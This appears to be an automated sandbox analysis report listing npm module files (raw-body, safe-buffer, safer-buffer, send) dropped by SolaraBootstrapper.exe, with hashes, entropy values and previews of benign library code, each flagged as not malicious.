SHA-256:	2BDF5DC084FEC13FA087101D1C3EFDC22421D19C1551984B49CE6705EB636D57
SHA-512:	667EF9DA41970BC1D0C232526A616AF6825BC22894B74255F8DE0C7C5C9E4D397313F3B2B63C88848FAC73F14E38936BD8F7F1AC675CB542D4886066613A8930
Malicious:	false
Preview:	# raw-body..[![NPM Version][npm-image]][npm-url].[![NPM Downloads][downloads-image]][downloads-url].[![Node.js Version][node-version-image]][node-version-url].[![Build status][github-actions-ci-image]][github-actions-ci-url].[![Test coverage][coveralls-image]][coveralls-url]..Gets the entire buffer of a stream either as a `Buffer` or a string..Validates the stream's length against an expected length and maximum limit..Ideal for parsing request bodies...## Install..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):..```sh.$ npm install raw-body.```..### TypeScript..This module includes a [TypeScript](https://www.typescriptlang.org/).declaration file to enable auto complete in compatible editors and type.information for TypeScript projects. This module depends on the Node.js.types, so install `@types/

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\raw-body\SECURITY.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1188
Entropy (8bit):	4.487034324754042
Encrypted:	false
SSDEEP:	24:1IoSZ8gGzOWSKH+OKWun6xtDF925a/7kJyEyF0eOCYunEfu7WR:1YSCWTAbyia/7xPYun7WR
MD5:	1BB637BF8FF378E713927320C10E746B
SHA1:	92CC51BD40A3D679C86506A29A924F93378CBDB8
SHA-256:	410480C1FCB35DDD5CE7EE8FEA94048E996768BE94DDFD6DC5725AC7AEC089C9
SHA-512:	BB605B19DE97FA36915A3D4087312E45CA7C351889A32410C91D3DCEDFD8D1FE9018751A42FA00D0DCAD7F54A5A5BE47570C8D0F5CD9FBF9F28B7C82F0C7A47D
Malicious:	false
Preview:	# Security Policies and Procedures..## Reporting a Bug..The `raw-body` team and community take all security bugs seriously. Thank you.for improving the security of Express. We appreciate your efforts and.responsible disclosure and will make every effort to acknowledge your.contributions...Report security bugs by emailing the current owners of `raw-body`. This information.can be found in the npm registry using the command `npm owner ls raw-body`..If unsure or unable to get the information from the above, open an issue.in the [project issue tracker](https://github.com/stream-utils/raw-body/issues).asking for the current contact information...To ensure the timely response to your report, please ensure that the entirety.of the report is contained within the email body and not solely behind a web.link or an attachment...At least one owner will acknowledge your email within 48 hours, and will send a.more detailed response within 48 hours indicating the next steps in handling.your report. Aft

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\raw-body\index.d.ts

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Java source, ASCII text
Category:	dropped
Size (bytes):	2286
Entropy (8bit):	4.716535330616151
Encrypted:	false
SSDEEP:	48:ASmP/xrg//TaGXE+7NI/A0i/Te/0D/o4/4MI/qnDcz/CqEJjMGJeSVNaMJenn5JN:A3Ptg/pJCo0iq2g4qSnDcz5+zJeQNaMy
MD5:	EE9C2C994CBBC6D6E96D6460488AE4F1
SHA1:	33B90142EA3505FA124BCCFEA49BEE515C695DEC
SHA-256:	3D05B353D9341C0DBFF6D21F18490E346C3B661F5FC9D7F36E0E3FE5F940699C
SHA-512:	CCCD8DE526A4A097F7D9320AF2EF7E0772E429805903E319A068CEFE4C3D636A3C35569FD49A5A791EFAC0DBD7A4F34ED8579A87565993AAF6FEED269176BF3D
Malicious:	false
Preview:	import { Readable } from 'stream';..declare namespace getRawBody {. export type Encoding = string \| true;.. export interface Options {. /*. The expected length of the stream.. /. length?: number \| string \| null;. /. The byte limit of the body. This is the number of bytes or any string. * format supported by `bytes`, for example `1000`, `'500kb'` or `'3mb'`.. /. limit?: number \| string \| null;. /. The encoding to use to decode the body into a string. By default, a. * `Buffer` instance will be returned when no encoding is specified. Most. * likely, you want `utf-8`, so setting encoding to `true` will decode as. * `utf-8`. You can use any type of encoding supported by `iconv-lite`.. /. encoding?: Encoding \| null;. }.. export interface RawBodyError extends Error {. /. The limit in bytes.. /. limit?: number;. /. The expected length of the stream.. */. length?: number;. expecte

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\raw-body\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7171
Entropy (8bit):	4.768620091363697
Encrypted:	false
SSDEEP:	192:8ZJAKvoBunmQyMM0y12udG+b4a6tiBtz7XzGIXUXDlp:8ZSKnmDR3dGhE3Y3
MD5:	C7DA7DD272DEB49B1042A6AD81419D5E
SHA1:	8A4CBA78D978452AA8C722F77AB07C0DA12B35E1
SHA-256:	E1C1FF9152EC1F5CF1EF1C2B853D6723E93BA13E4E9F1F15F9C6B2026A39A1CB
SHA-512:	7083169D33557A58E20573AC46DD0DE8E319903BBAFBC3618D7CF19AF88943253A1C34FC232D58B9A0B52221138DCF3BC67B0D412EE98C306D405F23687B607F
Malicious:	false
Preview:	/!. raw-body. * Copyright(c) 2013-2014 Jonathan Ong. * Copyright(c) 2014-2022 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module dependencies.. * @private. /..var asyncHooks = tryRequireAsyncHooks().var bytes = require('bytes').var createError = require('http-errors').var iconv = require('iconv-lite').var unpipe = require('unpipe')../. Module exports.. * @public. /..module.exports = getRawBody../. Module variables.. * @private. /..var ICONV_ENCODING_MESSAGE_REGEXP = /^Encoding not recognized: /../. Get the decoder for a given encoding.. . @param {string} encoding. * @private. */..function getDecoder (encoding) {. if (!encoding) return null.. try {. return iconv.getDecoder(encoding). } catch (e) {. // error getting decoder. if (!ICONV_ENCODING_MESSAGE_REGEXP.test(e.message)) throw e.. // the encoding was not found. throw createError(415, 'specified encoding unsupported', {. encoding: encoding,. type: 'encoding.uns

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\raw-body\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1325
Entropy (8bit):	4.850638737778845
Encrypted:	false
SSDEEP:	24:QdHD1KbYxVRh6XeRBBWivIZ2lW08wkeubMGZKLvP:QdZKbGVHueRBBWivIAU37bMGorP
MD5:	58476FBD36D659574FC58355C7349D40
SHA1:	96D635B6625AD7B5727B25ED22D5FB8ECCEC0276
SHA-256:	371D95A705FBDF75BF820E49F7E329A5BA48A7B3A37EB12EFEF3029493318C13
SHA-512:	E3312DC033D6F2B5D5FA32AC2157E6BA8F5E74071EEF79777B835CA508DF7E619BC44F0B67CCB7DC5795115C95E004E346132039D68402802C6D1E567CBB6958
Malicious:	false
Preview:	{. "name": "raw-body",. "description": "Get and validate the raw body of a readable stream.",. "version": "2.5.2",. "author": "Jonathan Ong <me@jongleberry.com> (http://jongleberry.com)",. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>",. "Raynos <raynos2@gmail.com>". ],. "license": "MIT",. "repository": "stream-utils/raw-body",. "dependencies": {. "bytes": "3.1.2",. "http-errors": "2.0.0",. "iconv-lite": "0.4.24",. "unpipe": "1.0.0". },. "devDependencies": {. "bluebird": "3.7.2",. "eslint": "8.34.0",. "eslint-config-standard": "15.0.1",. "eslint-plugin-import": "2.27.5",. "eslint-plugin-markdown": "3.0.0",. "eslint-plugin-node": "11.1.0",. "eslint-plugin-promise": "6.1.1",. "eslint-plugin-standard": "4.1.0",. "mocha": "10.2.0",. "nyc": "15.1.0",. "readable-stream": "2.3.7",. "safe-buffer": "5.2.1". },. "engines": {. "node": ">= 0.8". },. "files": [. "HISTORY.md",. "LICENSE",. "REA

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\safe-buffer\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1081
Entropy (8bit):	5.0875408334710945
Encrypted:	false
SSDEEP:	24:b6NermJHHH0yN3gtsHw1hj9QHOsUv4eOk4/+/m3oqLF5n:b6IaJHlxE35QHOs5exm3ogF5n
MD5:	BADD5E91C737E7FFDF10B40C1F907761
SHA1:	07D9563F6153658DE124707787FF43F0458AB24A
SHA-256:	C7CC929B57080F4B9D0C6CF57669F0463FC5B39906344DFC8D3BC43426B30EAC
SHA-512:	EF233F8DB609B7025E2E027355EE0B5E7B65B537506412CA1A4D95E74F2BE2FE284C3A3FA36CB9D85DBD1A35FE650FE14DE5B4D93AB071F2024C1FC8CF40730E
Malicious:	false
Preview:	The MIT License (MIT)..Copyright (c) Feross Aboukhadijeh..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\safe-buffer\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	exported SGML document, Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	19555
Entropy (8bit):	5.045310353820335
Encrypted:	false
SSDEEP:	192:3pUPN2yK+iF482S2MMHuYFT6h/to3zpS7zJ4Yku3bnEmkT9OmxrSQcf0ah+TUY6+:ZUlsnqEAuYFmiElkUbEBcQPDb6BPNX2
MD5:	570381FFB15269FA623A0B75E67EB63A
SHA1:	75916065970FAA645BCA603327ECBAEA09AFE12E
SHA-256:	D301A850808775718DDB510D4BF2A922D9B0AFA72894E67137DAA20FBEAFAC05
SHA-512:	4185327934CB42E8495DA451C6FC1A3CB5FD4E3E5C91A46B0C07C0C4A49C03EF8622332E0C441D00DCB5ECDE9D293E76A20BDC6A9FA6AA6E713C6F2AE11A68FD
Malicious:	false
Preview:	# safe-buffer [![travis][travis-image]][travis-url] [![npm][npm-image]][npm-url] [![downloads][downloads-image]][downloads-url] [![javascript style guide][standard-image]][standard-url]..[travis-image]: https://img.shields.io/travis/feross/safe-buffer/master.svg.[travis-url]: https://travis-ci.org/feross/safe-buffer.[npm-image]: https://img.shields.io/npm/v/safe-buffer.svg.[npm-url]: https://npmjs.org/package/safe-buffer.[downloads-image]: https://img.shields.io/npm/dm/safe-buffer.svg.[downloads-url]: https://npmjs.org/package/safe-buffer.[standard-image]: https://img.shields.io/badge/code_style-standard-brightgreen.svg.[standard-url]: https://standardjs.com..#### Safer Node.js Buffer API..Use the new Node.js Buffer APIs (`Buffer.from`, `Buffer.alloc`,.`Buffer.allocUnsafe`, `Buffer.allocUnsafeSlow`) in all versions of Node.js...Uses the built-in implementation when available...## install..```.npm install safe-buffer.```..## usage..The goal of this package is to provide a safe r

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\safe-buffer\index.d.ts

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8738
Entropy (8bit):	4.655576194676342
Encrypted:	false
SSDEEP:	192:8pMybxMIm2Y9bhhbTpSKslfUTflkGODllkGxqWJVCPHAl/CkvJcenCC4RbTaoMfE:86slfcl+hlBUglNyG1JK
MD5:	372FA012D04E945AB97C27E000F8DF78
SHA1:	0B5844A33B757B9DB574541363116917FCBC6D90
SHA-256:	5E379DF3D61561C2ED7789B5995B9BA2143BBBA21A905E2381E16EFE7D1FA424
SHA-512:	E420C6F2A15605DE938F77A085453E6C0E84B62AAE7640AA7BF0E576534F6B07FDEFCEEA14CB2773E9A7FB042885B5BD108EF98E90258A37D3E907307C9FC674
Malicious:	false
Preview:	declare module "safe-buffer" {. export class Buffer {. length: number. write(string: string, offset?: number, length?: number, encoding?: string): number;. toString(encoding?: string, start?: number, end?: number): string;. toJSON(): { type: 'Buffer', data: any[] };. equals(otherBuffer: Buffer): boolean;. compare(otherBuffer: Buffer, targetStart?: number, targetEnd?: number, sourceStart?: number, sourceEnd?: number): number;. copy(targetBuffer: Buffer, targetStart?: number, sourceStart?: number, sourceEnd?: number): number;. slice(start?: number, end?: number): Buffer;. writeUIntLE(value: number, offset: number, byteLength: number, noAssert?: boolean): number;. writeUIntBE(value: number, offset: number, byteLength: number, noAssert?: boolean): number;. writeIntLE(value: number, offset: number, byteLength: number, noAssert?: boolean): number;. writeIntBE(value: number, offset: number, byteLength: number, noAssert?: boolean): number;. readUIntLE(of

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\safe-buffer\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1670
Entropy (8bit):	4.817165056217284
Encrypted:	false
SSDEEP:	24:/tNxUVXjkrQZlvNQRyFybMF6BKHpXXGlhxS6T+pT6F+EUQfdFtIA3ylF+MybcF+D:/tEXIrKlvNeOBQkHpXWk3TYVFtI84u
MD5:	35DE14728187B87C9AB687C3BDC37436
SHA1:	94AE42F086B35537CC69D82C0F55C6D59E6B8D98
SHA-256:	184D5C4A83512E3F49D4D5B52F7073F601F933BAD11F1FBB3AD364CA5E6478E1
SHA-512:	B2B3EF941A8D76480F519B68CD05ECF0AACE617A2C414F3E7D375A59718B06F6E7BF88EF384F3E400642431C296BF400F80048E4AD8EFB93860E41D697F337B1
Malicious:	false
Preview:	/! safe-buffer. MIT License. Feross Aboukhadijeh <https://feross.org/opensource> /./* eslint-disable node/no-deprecated-api */.var buffer = require('buffer').var Buffer = buffer.Buffer..// alternative to using Object.keys for old browsers.function copyProps (src, dst) {. for (var key in src) {. dst[key] = src[key]. }.}.if (Buffer.from && Buffer.alloc && Buffer.allocUnsafe && Buffer.allocUnsafeSlow) {. module.exports = buffer.} else {. // Copy properties from require('buffer'). copyProps(buffer, exports). exports.Buffer = SafeBuffer.}..function SafeBuffer (arg, encodingOrOffset, length) {. return Buffer(arg, encodingOrOffset, length).}..SafeBuffer.prototype = Object.create(Buffer.prototype)..// Copy static methods from Buffer.copyProps(Buffer, SafeBuffer)..SafeBuffer.from = function (arg, encodingOrOffset, length) {. if (typeof arg === 'number') {. throw new TypeError('Argument must not be a number'). }. return Buffer(arg, encodingOrOffset, length).}..SafeBuffer.alloc

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\safe-buffer\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1057
Entropy (8bit):	4.53518551140891
Encrypted:	false
SSDEEP:	24:BVn1zNVNWSylQ3L+mXZc8RdDWwL24RUo+4a+wL:B3fk7Q73XZtdDbPXtW
MD5:	B206856C7EF099626BF28CDC5498787A
SHA1:	6CE1DDDFB8739C577AE2AD84F1ABA01427791F57
SHA-256:	E4018FDBFE625433371F48274FEE26F520BBE865E0D8C85BF3AA07424134B90C
SHA-512:	496945384EEE920998C6C3D7499FCCBC67B34F900DF37082002B108B053283700AEB56F9C6F2D98DA6622EC4CFD75B12714D0934C09B4F47A9E503300B9A477D
Malicious:	false
Preview:	{. "name": "safe-buffer",. "description": "Safer Node.js Buffer API",. "version": "5.2.1",. "author": {. "name": "Feross Aboukhadijeh",. "email": "feross@feross.org",. "url": "https://feross.org". },. "bugs": {. "url": "https://github.com/feross/safe-buffer/issues". },. "devDependencies": {. "standard": "",. "tape": "^5.0.0". },. "homepage": "https://github.com/feross/safe-buffer",. "keywords": [. "buffer",. "buffer allocate",. "node security",. "safe",. "safe-buffer",. "security",. "uninitialized". ],. "license": "MIT",. "main": "index.js",. "types": "index.d.ts",. "repository": {. "type": "git",. "url": "git://github.com/feross/safe-buffer.git". },. "scripts": {. "test": "standard && tape test/.js". },. "funding": [. {. "type": "github",. "url": "https://github.com/sponsors/feross". },. {. "type": "patreon",. "url": "https://www.patreon.com/feross". },. {. "type": "consulting

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\safer-buffer\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	5.139912653301341
Encrypted:	false
SSDEEP:	24:Y1rmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:Y1aJHlxE3dQHOs5exm3ogFh
MD5:	3BAEBC2A17B8F5BFF04882CD0DC0F76E
SHA1:	CFCB19AB237382E4CE1253C5F0E28AD153A3C77A
SHA-256:	4BC935E71BE198C67DDF3C2B5FDDB195F6EDC182BFC155A96A6DB61B44B494B9
SHA-512:	9340003E5DBE9766972442DA97F824FC4BECE26C191FCE5310993836717CD9D066EA8008CD685647EF3FC73BFFDCEEB8E554B169C7411ECC336A4F2470F10469
Malicious:	false
Preview:	MIT License..Copyright (c) 2018 Nikita Skovoroda <chalkerx@gmail.com>..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\safer-buffer\Porting-Buffer.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text, with very long lines (380)
Category:	dropped
Size (bytes):	12794
Entropy (8bit):	4.921514226026537
Encrypted:	false
SSDEEP:	384:4pHfjquxtqWuncJsd79t3sw+bJyY3NpINdCKh:41YWhJs7t3sJt3NqbFh
MD5:	FCAA030E67B1D41E34571B602A343F72
SHA1:	1F23A158DC57C02812BAEF3334EF96BA1C940E5C
SHA-256:	134523D05B39E177135C2A2070A426EB319657DFC77589E38EF7CF13CD50E730
SHA-512:	07519B85D985702822DCD5E0B6A113727BC53F95A33E98B0C5AE6EE140B1D19170B05855BC626AB0E2500C30351E560D404E1529E77568BF80BA59BBD4530C21
Malicious:	false
Preview:	# Porting to the Buffer.from/Buffer.alloc API..<a id="overview"></a>.## Overview..- [Variant 1: Drop support for Node.js . 4.4.x and 5.0.0 . 5.9.x.](#variant-1) (recommended).- [Variant 2: Use a polyfill](#variant-2).- [Variant 3: manual detection, with safeguards](#variant-3)..### Finding problematic bits of code using grep..Just run `grep -nrE '[^a-zA-Z](Slow)?Buffer\s*\(' --exclude-dir node_modules`...It will find all the potentially unsafe places in your own code (with some considerably unlikely.exceptions)...### Finding problematic bits of code using Node.js 8..If you.re using Node.js . 8.0.0 (which is recommended), Node.js exposes multiple options that help with finding the relevant pieces of code:..- `--trace-warnings` will make Node.js show a stack trace for this warning and other warnings that are printed by Node.js..- `--trace-deprecation` does the same thing, but only for deprecation warnings..- `--pending-deprecation` will show more types of deprecation warnings.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\safer-buffer\Readme.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	8261
Entropy (8bit):	5.094691406772684
Encrypted:	false
SSDEEP:	192:Xp8VQqZ9r3xcEfza35Vr9iuHfxuE3HXVN83jsHF:58VQqZ9r3xxfGDpiuHfxuEXXL83Yl
MD5:	B65F4B9724FF4C546EE7D4820E3C91DC
SHA1:	133890ECC4218D9C67890F0E5884E754E824C859
SHA-256:	D4331B7C5AF9C02161150DAF9451EE6BC7A73ECE3EC0312603FAE09F46A817D8
SHA-512:	606AB220D3E9002AD79374BBEAA1D8822EBCB9DE9A3DD2D31D1B2C181B193CF312D0DBC25D54677FE302900DD1DD4075BB340CA50ED4DD64845FC003A4775A1D
Malicious:	false
Preview:	# safer-buffer [![travis][travis-image]][travis-url] [![npm][npm-image]][npm-url] [![javascript style guide][standard-image]][standard-url] [![Security Responsible Disclosure][secuirty-image]][secuirty-url]..[travis-image]: https://travis-ci.org/ChALkeR/safer-buffer.svg?branch=master.[travis-url]: https://travis-ci.org/ChALkeR/safer-buffer.[npm-image]: https://img.shields.io/npm/v/safer-buffer.svg.[npm-url]: https://npmjs.org/package/safer-buffer.[standard-image]: https://img.shields.io/badge/code_style-standard-brightgreen.svg.[standard-url]: https://standardjs.com.[secuirty-image]: https://img.shields.io/badge/Security-Responsible%20Disclosure-green.svg.[secuirty-url]: https://github.com/nodejs/security-wg/blob/master/processes/responsible_disclosure_template.md..Modern Buffer API polyfill without footguns, working on Node.js from 0.8 to current...## How to use?..First, port all `Buffer()` and `new Buffer()` calls to `Buffer.alloc()` and `Buffer.from()` API...Then, to achieve compati

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\safer-buffer\dangerous.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1483
Entropy (8bit):	4.858990166784303
Encrypted:	false
SSDEEP:	24:IVXjkg1eN9g4sB4PO90vVOf+bj/IvjYyrwtclF+uTIF79Ru9QSyrbMFMcbUF+uT+:QXIf0B2Oe10jOwS79ROQYCJS79ROQrZ
MD5:	7557E84F2DB56A79916613053F9297D6
SHA1:	F5D11729706B0DE3ED7D6F35060EB73680CCE42F
SHA-256:	1DC2900BCC8FFC375AF0D2FC99A03ECAD2DCBB85D278FBF26982E87707BEA53F
SHA-512:	5758A335E7905960E20F09741078F6584A12D58152C462A17A134BC8A1DCD5DDED3173784B089AD3A5CCC1ACB070D218552A2EE0263FBBDCE8C2CE646327B16C
Malicious:	false
Preview:	/* eslint-disable node/no-deprecated-api /..'use strict'..var buffer = require('buffer').var Buffer = buffer.Buffer.var safer = require('./safer.js').var Safer = safer.Buffer..var dangerous = {}..var key..for (key in safer) {. if (!safer.hasOwnProperty(key)) continue. dangerous[key] = safer[key].}..var Dangereous = dangerous.Buffer = {}..// Copy Safer API.for (key in Safer) {. if (!Safer.hasOwnProperty(key)) continue. Dangereous[key] = Safer[key].}..// Copy those missing unsafe methods, if they are present.for (key in Buffer) {. if (!Buffer.hasOwnProperty(key)) continue. if (Dangereous.hasOwnProperty(key)) continue. Dangereous[key] = Buffer[key].}..if (!Dangereous.allocUnsafe) {. Dangereous.allocUnsafe = function (size) {. if (typeof size !== 'number') {. throw new TypeError('The "size" argument must be of type number. Received type ' + typeof size). }. if (size < 0 \|\| size >= 2 (1 << 30)) {. throw new RangeError('The value "' + size + '" is invalid for op

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\safer-buffer\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	822
Entropy (8bit):	4.795407598479613
Encrypted:	false
SSDEEP:	12:tF1a3XlpD7NjAicV8QjU4SMKmGPXoBbmWVT6foePVT6j0EzgkdG6VuQv1r:H1KXXxAeYSMK9/njfFCdr
MD5:	274D956F400350C9F6CF96D22CDDA227
SHA1:	5ED0FAB8E5CAC53E4D072ACBD82FCA9BE08F5E67
SHA-256:	4247A3A63C45A6A7CED1557FE4DD9D2A163AF4915D594B95E5867B69A53EDB52
SHA-512:	120CFF7383D78BBF7746F11101E973ED0AF9D0DED6537823F4ACBFA659D29C1BD09D55EC434BDC7661F26CB5278BACC76A55D95248753431F4099F98F9532F94
Malicious:	false
Preview:	{. "name": "safer-buffer",. "version": "2.1.2",. "description": "Modern Buffer API polyfill without footguns",. "main": "safer.js",. "scripts": {. "browserify-test": "browserify --external tape tests.js > browserify-tests.js && tape browserify-tests.js",. "test": "standard && tape tests.js". },. "author": {. "name": "Nikita Skovoroda",. "email": "chalkerx@gmail.com",. "url": "https://github.com/ChALkeR". },. "license": "MIT",. "repository": {. "type": "git",. "url": "git+https://github.com/ChALkeR/safer-buffer.git". },. "bugs": {. "url": "https://github.com/ChALkeR/safer-buffer/issues". },. "devDependencies": {. "standard": "^11.0.1",. "tape": "^4.9.0". },. "files": [. "Porting-Buffer.md",. "Readme.md",. "tests.js",. "dangerous.js",. "safer.js". ].}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\safer-buffer\safer.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2110
Entropy (8bit):	4.891651950004989
Encrypted:	false
SSDEEP:	48:QXIdWaJpDrVm0eMBMaU0QNjbTwS79ROMoVFaQwkN+Y0:3dWaJ9r5eIQN976aQjp0
MD5:	B548FA7365E81D472250949A6B4CCC69
SHA1:	AD919CAD501061F663026F382334CC6CE5A8B381
SHA-256:	37F9716144105051AB302F6A0C30A52FF5DE7269B9E1173AC22BE798FC11CCAD
SHA-512:	6B3C16541246DDF1BD12C0CF537FC54DD9ED932C70A834D8DF57D6758BC9532AF554910D4B292F69FA5B3FD0B5F66DCE2451EB3F6CF19BA295D1397BCAD8A574
Malicious:	false
Preview:	/* eslint-disable node/no-deprecated-api */..'use strict'..var buffer = require('buffer').var Buffer = buffer.Buffer..var safer = {}..var key..for (key in buffer) {. if (!buffer.hasOwnProperty(key)) continue. if (key === 'SlowBuffer' \|\| key === 'Buffer') continue. safer[key] = buffer[key].}..var Safer = safer.Buffer = {}.for (key in Buffer) {. if (!Buffer.hasOwnProperty(key)) continue. if (key === 'allocUnsafe' \|\| key === 'allocUnsafeSlow') continue. Safer[key] = Buffer[key].}..safer.Buffer.prototype = Buffer.prototype..if (!Safer.from \|\| Safer.from === Uint8Array.from) {. Safer.from = function (value, encodingOrOffset, length) {. if (typeof value === 'number') {. throw new TypeError('The "value" argument must not be of type number. Received type ' + typeof value). }. if (value && typeof value.length === 'undefined') {. throw new TypeError('The first argument must be one of type string, Buffer, ArrayBuffer, Array, or Array-like Object. Received type ' + typeof

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\safer-buffer\tests.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	15735
Entropy (8bit):	4.914204260838717
Encrypted:	false
SSDEEP:	384:ABWvbe5vBmOv+zFPgOXS8d9Qf2loYA6LA9Yc07:AUb+Bt+pPgOmGoj6LA9Yc07
MD5:	373F9327325C35BB109038DC3B8E5A14
SHA1:	DC7FD8AD11F6C0A7DE689697AFC870F58F7A2844
SHA-256:	511906FDF6A233C84A9216065D1701DBFD84F380FBD495AE1CF5A002370B9885
SHA-512:	180379AC8D63F25D27612BF185AAB6736162BC46A219A7F4247C174B525A088ABEA07AF47F46A1A588774B6B975D72F16E48A16E423E93208591DFA394282B2D
Malicious:	false
Preview:	/* eslint-disable node/no-deprecated-api /..'use strict'..var test = require('tape')..var buffer = require('buffer')..var index = require('./').var safer = require('./safer').var dangerous = require('./dangerous')../ Inheritance tests */..test('Default is Safer', function (t) {. t.equal(index, safer). t.notEqual(safer, dangerous). t.notEqual(index, dangerous). t.end().})..test('Is not a function', function (t) {. [index, safer, dangerous].forEach(function (impl) {. t.equal(typeof impl, 'object'). t.equal(typeof impl.Buffer, 'object'). });. [buffer].forEach(function (impl) {. t.equal(typeof impl, 'object'). t.equal(typeof impl.Buffer, 'function'). }). t.end().})..test('Constructor throws', function (t) {. [index, safer, dangerous].forEach(function (impl) {. t.throws(function () { impl.Buffer() }). t.throws(function () { impl.Buffer(0) }). t.throws(function () { impl.Buffer('a') }). t.throws(function () { impl.Buffer('a', 'utf-8') }). t.throws(funct

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\send\HISTORY.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	13301
Entropy (8bit):	4.912166673065034
Encrypted:	false
SSDEEP:	192:MYUow7GhMZcyKOC/YP3tKLT7FlCSh1YVk7R1HTIfDDJ7WU6NZwZZFNAGAom3Xgsi:lUo+EpObsLThPhCEZwZZFN0oZ
MD5:	70FC41FDEA3EFC7100A4E0C3A0DC8448
SHA1:	EC9F95787ADB2FB17CBF6C808C98146DDADC4677
SHA-256:	A08B6BAFFACFBD0BA14CDAC367BB7B2E809B91381DCCA79633E68518ED360C7C
SHA-512:	E156CF9C02CC173B8368000A9F184E1E376EB880C9ECEBA2284EEB24CD7C454DE0C525146CF52ADFE7671FC928052C8BB42E1DAA662CC12829D5C06B2E995FA6
Malicious:	false
